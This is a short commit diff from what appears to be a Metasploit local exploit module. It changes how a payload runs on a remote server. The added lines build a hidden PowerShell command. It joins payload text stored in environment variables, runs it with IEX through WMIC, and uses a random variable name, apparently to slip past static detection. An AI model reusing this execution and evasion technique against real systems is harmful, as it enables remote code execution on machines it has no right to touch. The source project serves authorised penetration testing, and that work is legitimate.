Change static x value

bug/bundler_fix
Meatballs 2013-09-20 20:31:14 +01:00
parent ee365a6b64
commit 15885e4ef6
1 changed files with 3 additions and 2 deletions

View File

@ -93,11 +93,12 @@ class Metasploit3 < Msf::Exploit::Local
wmic_command(server, c)
end
exec_cmd = "powershell.exe -nop -w hidden -c $x = ''"
x = rand_text_alpha(rand(3)+3)
exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
env_vars.each do |env|
exec_cmd << "+$env:#{env}"
end
exec_cmd << ";IEX $x;"
exec_cmd << ";IEX $#{x};"
print_status("[#{server}] Executing payload")
wmic_command(server, exec_cmd)